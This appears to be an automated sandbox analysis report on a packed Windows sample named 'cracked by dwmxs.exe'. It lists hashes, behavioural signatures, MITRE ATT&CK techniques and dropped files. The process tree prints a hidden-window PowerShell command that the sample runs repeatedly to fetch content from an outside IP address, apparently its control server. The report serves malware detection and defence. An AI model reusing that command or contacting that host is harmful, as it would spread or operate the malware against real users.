0c18b45a6a033206c19b7c414d40ccc7a330c09ccc451cbc1290417d1bd176b9

Analysis

max time kernel
148s
max time network
144s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
30/08/2026, 20:22

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
nig/cracked by dwmxs.exe
Size 21.6MB
Sample260830-y5kaqsda96
SHA256 0c18b45a6a033206c19b7c414d40ccc7a330c09ccc451cbc1290417d1bd176b9
MD5 094ef790e59a6d9596bd0973a2b8ac02
SHA1 03fe8084d135a674df9665a43ab9e4c2d19647a9
SHA512 c795dd80cab30df247b92d76e4051ff971414efc45a5a5b70372ea8031a14d5b7acab34e0bdaef3d1d133776dc72a8842efbe7830ebd307e0107ee17b6b19b91
SSDEEP 196608:X3KgL13pudBiW9jgLcxmCB3gR6vTiCPWjKbJKBpKUzuSW:XbgIRiJv2uWjiQBpKAu7
TLSH
T13037BE037A4ABCE6F6EC053299A0C7158361A91C93B717E3652435BEF5A22C27FB3714
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery execution upx

Malware Config

Signatures

Badlisted process makes network request 12 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
7	5416	powershell.exe
12	4132	powershell.exe
14	4480	powershell.exe
15	1172	powershell.exe
16	1940	powershell.exe
17	4816	powershell.exe
19	5888	powershell.exe
20	4400	powershell.exe
21	3752	powershell.exe
22	1856	powershell.exe
23	4104	powershell.exe
24	700	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 26 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4132	powershell.exe
1172	powershell.exe
1940	powershell.exe
4816	powershell.exe
5888	powershell.exe
4104	powershell.exe
3728	powershell.exe
5416	powershell.exe
4480	powershell.exe
4400	powershell.exe
3752	powershell.exe
1856	powershell.exe
700	powershell.exe
3728	powershell.exe
4132	powershell.exe
4816	powershell.exe
3752	powershell.exe
1856	powershell.exe
4104	powershell.exe
5416	powershell.exe
1172	powershell.exe
4480	powershell.exe
1940	powershell.exe
5888	powershell.exe
4400	powershell.exe
700	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
10	3092	cracked by dwmxs.exe

Executes dropped EXE 1 IoCs

pid	Process
4172	cracked by dwmxs.exe

UPX packed file 15 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x00070000000001b2-48.dat	upx
behavioral2/memory/4172-54-0x0000000000370000-0x000000000195A000-memory.dmp	upx
behavioral2/memory/4172-74-0x0000000000370000-0x000000000195A000-memory.dmp	upx
behavioral2/memory/4172-73-0x0000000000370000-0x000000000195A000-memory.dmp	upx
behavioral2/memory/4172-80-0x0000000000370000-0x000000000195A000-memory.dmp	upx
behavioral2/memory/4172-90-0x0000000000370000-0x000000000195A000-memory.dmp	upx
behavioral2/memory/4172-93-0x0000000000370000-0x000000000195A000-memory.dmp	upx
behavioral2/memory/4172-103-0x0000000000370000-0x000000000195A000-memory.dmp	upx
behavioral2/memory/4172-109-0x0000000000370000-0x000000000195A000-memory.dmp	upx
behavioral2/memory/4172-113-0x0000000000370000-0x000000000195A000-memory.dmp	upx
behavioral2/memory/4172-118-0x0000000000370000-0x000000000195A000-memory.dmp	upx
behavioral2/memory/4172-122-0x0000000000370000-0x000000000195A000-memory.dmp	upx
behavioral2/memory/4172-128-0x0000000000370000-0x000000000195A000-memory.dmp	upx
behavioral2/memory/4172-134-0x0000000000370000-0x000000000195A000-memory.dmp	upx
behavioral2/memory/4172-139-0x0000000000370000-0x000000000195A000-memory.dmp	upx

Drops file in Windows directory 61 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Prefetch\RUNTIMEBROKER.EXE-887059F6.pf	cracked by dwmxs.exe
File opened for modification	C:\Windows\Prefetch\AgRobust.db	cracked by dwmxs.exe
File opened for modification	C:\Windows\Prefetch\ReadyBoot	cracked by dwmxs.exe
File opened for modification	C:\Windows\Prefetch\SVCHOST.EXE-96A7E1CF.pf	cracked by dwmxs.exe
File opened for modification	C:\Windows\Prefetch\AgAppLaunch.db	cracked by dwmxs.exe
File opened for modification	C:\Windows\Prefetch\CONHOST.EXE-1F3E9D7E.pf	cracked by dwmxs.exe
File opened for modification	C:\Windows\Prefetch\DLLHOST.EXE-28A8211F.pf	cracked by dwmxs.exe
File opened for modification	C:\Windows\Prefetch\DLLHOST.EXE-ECB71776.pf	cracked by dwmxs.exe
File opened for modification	C:\Windows\Prefetch\PfPre_2ef95976.mkd	cracked by dwmxs.exe
File opened for modification	C:\Windows\Prefetch\SHUTDOWN.EXE-E7D5C9CC.pf	cracked by dwmxs.exe
File opened for modification	C:\Windows\Prefetch\RUNTIMEBROKER.EXE-4C0446C5.pf	cracked by dwmxs.exe
File opened for modification	C:\Windows\Prefetch\PfSvPerfStats.bin	cracked by dwmxs.exe
File opened for modification	C:\Windows\Prefetch\TASKHOSTW.EXE-3E0B74C8.pf	cracked by dwmxs.exe
File opened for modification	C:\Windows\Prefetch\TIWORKER.EXE-07175DE0.pf	cracked by dwmxs.exe
File opened for modification	C:\Windows\Prefetch\AgGlFgAppHistory.db	cracked by dwmxs.exe
File opened for modification	C:\Windows\Prefetch\MOBSYNC.EXE-C5E2284F.pf	cracked by dwmxs.exe
File opened for modification	C:\Windows\Prefetch\ReadyBoot\rblayout.xin	cracked by dwmxs.exe
File opened for modification	C:\Windows\Prefetch\SPPEXTCOMOBJ.EXE-BB03B3D6.pf	cracked by dwmxs.exe
File opened for modification	C:\Windows\Prefetch\SVCHOST.EXE-2F0E0AF4.pf	cracked by dwmxs.exe
File opened for modification	C:\Windows\Prefetch\SVCHOST.EXE-5AC380EC.pf	cracked by dwmxs.exe
File opened for modification	C:\Windows\Prefetch\SYSTEMSETTINGS.EXE-F13C32B6.pf	cracked by dwmxs.exe
File opened for modification	C:\Windows\Prefetch\USEROOBEBROKER.EXE-D2992F42.pf	cracked by dwmxs.exe
File opened for modification	C:\Windows\Prefetch\BACKGROUNDTASKHOST.EXE-104C7847.pf	cracked by dwmxs.exe
File opened for modification	C:\Windows\Prefetch\OPENWITH.EXE-5C93E816.pf	cracked by dwmxs.exe
File opened for modification	C:\Windows\Prefetch\PICKERHOST.EXE-B8A68B3C.pf	cracked by dwmxs.exe
File opened for modification	C:\Windows\Prefetch\ResPriStaticDb.ebd	cracked by dwmxs.exe
File opened for modification	C:\Windows\Prefetch\WMIC.EXE-A7D06383.pf	cracked by dwmxs.exe
File opened for modification	C:\Windows\Prefetch\BDEUISRV.EXE-4D0648DC.pf	cracked by dwmxs.exe
File opened for modification	C:\Windows\Prefetch\RUNDLL32.EXE-23EA2E5B.pf	cracked by dwmxs.exe
File opened for modification	C:\Windows\Prefetch\AgGlGlobalHistory.db	cracked by dwmxs.exe
File opened for modification	C:\Windows\Prefetch\DLLHOST.EXE-FC981FFE.pf	cracked by dwmxs.exe
File opened for modification	C:\Windows\Prefetch\EXPLORER.EXE-A80E4F97.pf	cracked by dwmxs.exe
File opened for modification	C:\Windows\Prefetch\POWERSHELL.EXE-920BBA2A.pf	cracked by dwmxs.exe
File opened for modification	C:\Windows\Prefetch\RUNTIMEBROKER.EXE-86343F85.pf	cracked by dwmxs.exe
File opened for modification	C:\Windows\Prefetch\SVCHOST.EXE-3E5AE7B5.pf	cracked by dwmxs.exe
File opened for modification	C:\Windows\Prefetch\TAKEOWN.EXE-A80759AD.pf	cracked by dwmxs.exe
File opened for modification	C:\Windows\Prefetch\AgGlFaultHistory.db	cracked by dwmxs.exe
File opened for modification	C:\Windows\Prefetch\CONTROL.EXE-817F8F1D.pf	cracked by dwmxs.exe
File opened for modification	C:\Windows\Prefetch\CSCRIPT.EXE-D1EF4768.pf	cracked by dwmxs.exe
File opened for modification	C:\Windows\Prefetch\DLLHOST.EXE-A8DE6D5B.pf	cracked by dwmxs.exe
File opened for modification	C:\Windows\Prefetch\FSQUIRT.EXE-BBD9646E.pf	cracked by dwmxs.exe
File opened for modification	C:\Windows\Prefetch\MICROSOFTEDGEUPDATE.EXE-C4317749.pf	cracked by dwmxs.exe
File opened for modification	C:\Windows\Prefetch\TRUSTEDINSTALLER.EXE-3CC531E5.pf	cracked by dwmxs.exe
File opened for modification	C:\Windows\Prefetch\APPLICATIONFRAMEHOST.EXE-CCEEF759.pf	cracked by dwmxs.exe
File opened for modification	C:\Windows\Prefetch\DISM.EXE-DE199F71.pf	cracked by dwmxs.exe
File opened for modification	C:\Windows\Prefetch\SVCHOST.EXE-07A3B3AB.pf	cracked by dwmxs.exe
File opened for modification	C:\Windows\Prefetch\WLRMDR.EXE-C2B47318.pf	cracked by dwmxs.exe
File opened for modification	C:\Windows\Prefetch\BACKGROUNDTASKHOST.EXE-F427B0E8.pf	cracked by dwmxs.exe
File opened for modification	C:\Windows\Prefetch\DISMHOST.EXE-CC47B57C.pf	cracked by dwmxs.exe
File opened for modification	C:\Windows\Prefetch\RUNTIMEBROKER.EXE-FC4F7215.pf	cracked by dwmxs.exe
File opened for modification	C:\Windows\Prefetch\SVCHOST.EXE-C49E779A.pf	cracked by dwmxs.exe
File opened for modification	C:\Windows\Prefetch\RUNTIMEBROKER.EXE-75A37563.pf	cracked by dwmxs.exe
File opened for modification	C:\Windows\Prefetch\SVCHOST.EXE-D90AFF7B.pf	cracked by dwmxs.exe
File opened for modification	C:\Windows\Prefetch\PSEXESVC.EXE-7F956DAF.pf	cracked by dwmxs.exe
File opened for modification	C:\Windows\Prefetch\REG.EXE-E7E8BD26.pf	cracked by dwmxs.exe
File opened for modification	C:\Windows\Prefetch\NETSH.EXE-F1B6DA12.pf	cracked by dwmxs.exe
File opened for modification	C:\Windows\Prefetch\ReadyBoot\ReadyBoot.etl	cracked by dwmxs.exe
File opened for modification	C:\Windows\Prefetch\SHELLEXPERIENCEHOST.EXE-90A2A133.pf	cracked by dwmxs.exe
File opened for modification	C:\Windows\Prefetch\TASKKILL.EXE-8F5B2253.pf	cracked by dwmxs.exe
File opened for modification	C:\Windows\Prefetch\PSEXEC.EXE-80F89DAE.pf	cracked by dwmxs.exe
File opened for modification	C:\Windows\Prefetch\ReadyBoot\Trace1.fx	cracked by dwmxs.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 15 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cracked by dwmxs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cracked by dwmxs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3092	cracked by dwmxs.exe
3092	cracked by dwmxs.exe
3092	cracked by dwmxs.exe
3092	cracked by dwmxs.exe
3092	cracked by dwmxs.exe
3092	cracked by dwmxs.exe
3092	cracked by dwmxs.exe
3092	cracked by dwmxs.exe
3092	cracked by dwmxs.exe
3092	cracked by dwmxs.exe
3092	cracked by dwmxs.exe
3092	cracked by dwmxs.exe
3092	cracked by dwmxs.exe
3092	cracked by dwmxs.exe
3092	cracked by dwmxs.exe
3092	cracked by dwmxs.exe
3092	cracked by dwmxs.exe
3092	cracked by dwmxs.exe
3092	cracked by dwmxs.exe
3092	cracked by dwmxs.exe
3092	cracked by dwmxs.exe
3092	cracked by dwmxs.exe
3092	cracked by dwmxs.exe
3092	cracked by dwmxs.exe
3092	cracked by dwmxs.exe
3092	cracked by dwmxs.exe
3092	cracked by dwmxs.exe
3092	cracked by dwmxs.exe
3092	cracked by dwmxs.exe
3092	cracked by dwmxs.exe
3092	cracked by dwmxs.exe
3092	cracked by dwmxs.exe
3092	cracked by dwmxs.exe
3092	cracked by dwmxs.exe
3092	cracked by dwmxs.exe
3092	cracked by dwmxs.exe
3092	cracked by dwmxs.exe
3092	cracked by dwmxs.exe
3092	cracked by dwmxs.exe
3092	cracked by dwmxs.exe
3092	cracked by dwmxs.exe
3092	cracked by dwmxs.exe
3092	cracked by dwmxs.exe
3092	cracked by dwmxs.exe
5416	powershell.exe
5416	powershell.exe
3092	cracked by dwmxs.exe
3092	cracked by dwmxs.exe
3092	cracked by dwmxs.exe
3092	cracked by dwmxs.exe
3092	cracked by dwmxs.exe
3092	cracked by dwmxs.exe
3092	cracked by dwmxs.exe
3092	cracked by dwmxs.exe
3092	cracked by dwmxs.exe
3092	cracked by dwmxs.exe
3092	cracked by dwmxs.exe
3092	cracked by dwmxs.exe
3092	cracked by dwmxs.exe
3092	cracked by dwmxs.exe
3092	cracked by dwmxs.exe
3092	cracked by dwmxs.exe
3092	cracked by dwmxs.exe
3092	cracked by dwmxs.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

pid	Process
3092	cracked by dwmxs.exe
4172	cracked by dwmxs.exe

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
3092	cracked by dwmxs.exe

Suspicious use of AdjustPrivilegeToken 12 IoCs

description	pid	Process
Token: SeDebugPrivilege	5416	powershell.exe
Token: SeDebugPrivilege	4132	powershell.exe
Token: SeDebugPrivilege	1172	powershell.exe
Token: SeDebugPrivilege	4480	powershell.exe
Token: SeDebugPrivilege	1940	powershell.exe
Token: SeDebugPrivilege	4816	powershell.exe
Token: SeDebugPrivilege	5888	powershell.exe
Token: SeDebugPrivilege	4400	powershell.exe
Token: SeDebugPrivilege	3752	powershell.exe
Token: SeDebugPrivilege	1856	powershell.exe
Token: SeDebugPrivilege	4104	powershell.exe
Token: SeDebugPrivilege	700	powershell.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
3092	cracked by dwmxs.exe
3092	cracked by dwmxs.exe
4172	cracked by dwmxs.exe
4172	cracked by dwmxs.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 3092 wrote to memory of 5416	3092	cracked by dwmxs.exe	89
PID 3092 wrote to memory of 4132	3092	cracked by dwmxs.exe	91
PID 3092 wrote to memory of 1172	3092	cracked by dwmxs.exe	93
PID 3092 wrote to memory of 4172	3092	cracked by dwmxs.exe	95
PID 4172 wrote to memory of 4480	4172	cracked by dwmxs.exe	97
PID 4172 wrote to memory of 1940	4172	cracked by dwmxs.exe	99
PID 4172 wrote to memory of 4816	4172	cracked by dwmxs.exe	101
PID 4172 wrote to memory of 5888	4172	cracked by dwmxs.exe	103
PID 4172 wrote to memory of 4400	4172	cracked by dwmxs.exe	105
PID 4172 wrote to memory of 3752	4172	cracked by dwmxs.exe	107
PID 4172 wrote to memory of 1856	4172	cracked by dwmxs.exe	109
PID 4172 wrote to memory of 4104	4172	cracked by dwmxs.exe	111
PID 4172 wrote to memory of 700	4172	cracked by dwmxs.exe	113
PID 4172 wrote to memory of 3728	4172	cracked by dwmxs.exe	115

C:\Users\Admin\AppData\Local\Temp\nig\cracked by dwmxs.exe
"C:\Users\Admin\AppData\Local\Temp\nig\cracked by dwmxs.exe"
1⤵
- Downloads MZ/PE file
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious behavior: RenamesItself
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3092
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -Command "$r=Invoke-WebRequest -Uri 'http://47.129.8.159:3000/metadata' -UseBasicParsing; $r.Content"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5416
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -Command "$r=Invoke-WebRequest -Uri 'http://47.129.8.159:3000/metadata' -UseBasicParsing; $r.Content"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:4132
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -Command "$r=Invoke-WebRequest -Uri 'http://47.129.8.159:3000/metadata' -UseBasicParsing; $r.Content"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:1172
- C:\Users\Admin\AppData\Local\Temp\nig\cracked by dwmxs.exe
  "C:\Users\Admin\AppData\Local\Temp\nig\cracked by dwmxs.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4172
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "$r=Invoke-WebRequest -Uri 'http://47.129.8.159:3000/metadata' -UseBasicParsing; $r.Content"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4480
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "$r=Invoke-WebRequest -Uri 'http://47.129.8.159:3000/metadata' -UseBasicParsing; $r.Content"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1940
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "$r=Invoke-WebRequest -Uri 'http://47.129.8.159:3000/metadata' -UseBasicParsing; $r.Content"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4816
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "$r=Invoke-WebRequest -Uri 'http://47.129.8.159:3000/metadata' -UseBasicParsing; $r.Content"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5888
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "$r=Invoke-WebRequest -Uri 'http://47.129.8.159:3000/metadata' -UseBasicParsing; $r.Content"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4400
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "$r=Invoke-WebRequest -Uri 'http://47.129.8.159:3000/metadata' -UseBasicParsing; $r.Content"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3752
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "$r=Invoke-WebRequest -Uri 'http://47.129.8.159:3000/metadata' -UseBasicParsing; $r.Content"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1856
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "$r=Invoke-WebRequest -Uri 'http://47.129.8.159:3000/metadata' -UseBasicParsing; $r.Content"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4104
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "$r=Invoke-WebRequest -Uri 'http://47.129.8.159:3000/metadata' -UseBasicParsing; $r.Content"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:700
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "$r=Invoke-WebRequest -Uri 'http://47.129.8.159:3000/metadata' -UseBasicParsing; $r.Content"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    PID:3728

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

cleanup_marker.tmp

Path C:\ProgramData\MeowHaxx\cleanup_marker.tmp
Size 62B
SHA256 07c4f72f17868a1a0409072dac3746bcc05953c46f97b4ccf66b9bee84bf1e25
MD5 0fdc5b2bac917e552f5d5de8818fe317
SHA1 235dcac44e58f23885d813126807e0b12af64450
SHA512 bad284ef72b079dee490109714dcb944d13ad007592092cc776802dfd98a6e64e2db18793332007104dd37c035e151108a0470ef10df9f819ec74dfd4ad8d3bd
TLSH
T19CA0228000CF8A080C002023083200ECC0B02C082A002B20AA08800C20080A8F8C0300
MD5 SHA1 SHA512 TLSH

Submit Download

sys_core.dat

Path C:\ProgramData\MeowHaxx\sys_core.dat
Size 604B
SHA256 0edf87bab49c0834114209371696d2e3705ad2a72e4c5ef8a77f883e00cc29b1
MD5 5a2ffbcc519ef1f3cbe2927f257ae63e
SHA1 ec021fba57b1d039eaa2ab33fd54c63a37de1408
SHA512 4e0e454e2b49d474fc66554b436de6f7db578f6b7c3fd2e0b2085221150bf96670baeed4ff9c6a54ad8d471d0c2b8c3bfde6011baf7e56725313e0322b5e07dd
TLSH
T1F9F0475C7D801551EE19E7740783461CA545CC799C917370426CB06DFDB0534F46B591
MD5 SHA1 SHA512 TLSH

Submit Download

sys_core.dat

Path C:\ProgramData\MeowHaxx\sys_core.dat
Size 604B
SHA256 f49f1e06506f958de54a259a95c6f006a8e653ca29a5b25b1e866b441a508423
MD5 b4d097b76745372cc500e53b9316fee0
SHA1 1768bf06e7ee3423f00527f367e25efe9a60265b
SHA512 21b00c2c16dac179368d2d4761847de7a0d5c2eb16ace76e10415f05361ba0d82f08ea89a868ccc8491caffdc3f43b6670e415089879e5f455314d80d12eb014
TLSH
T19CF0AC9664A84981C54A6A3F976E5B1823C29D3CABB163228910C4F083477B4933AA66
MD5 SHA1 SHA512 TLSH

Submit Download

vcache.dat

Path C:\ProgramData\MeowHaxx\vcache.dat
Size 114B
SHA256 90602d5501e31aff18df652c9e2d053244f4e872ca4e691bddcb57ad862cc54d
MD5 3d6c2aeb3b4469de2620587698518b98
SHA1 bceecc2c723a52f5d99875146b5aa5ed9bb37a04
SHA512 0de6bc76df50c3cda672a9ac112f6c2dc27b14974fb4cd3079876d7e1693dad5b9adee8da5fa23e27dc668dc15a3c8574fb71923f5632a39cb58166a254bcff1
TLSH
T19FB01240646CF8F3CC27CB72E19AA341DC46F82A20642264BD00A644C50CA60C2870CC
MD5 SHA1 SHA512 TLSH

Submit Download

vcache.dat

Path C:\ProgramData\MeowHaxx\vcache.dat
Size 112B
SHA256 b47a50cb3be835681d339e8697d6d39f6bf90dbdec344fd2c4143bc7a7e32e16
MD5 658949cd09ef9695535d5b6e0ded7b07
SHA1 54275d307964f95468a22cdde54dbc07a5b182b2
SHA512 5095b7eaaf6cc790aad850c19f0941e90ad067a511d165f9fd5f6c38b73cdd0491efa2ad6cb80d2e8f9cbf1b0264e273282c1f4d05fa6198842a49803f6989b7
TLSH
T1F0B09299A219E8AAEEF016CAE0360881A01CA414049D05922A60AA8AA6484268BEDB04
MD5 SHA1 SHA512 TLSH

Submit Download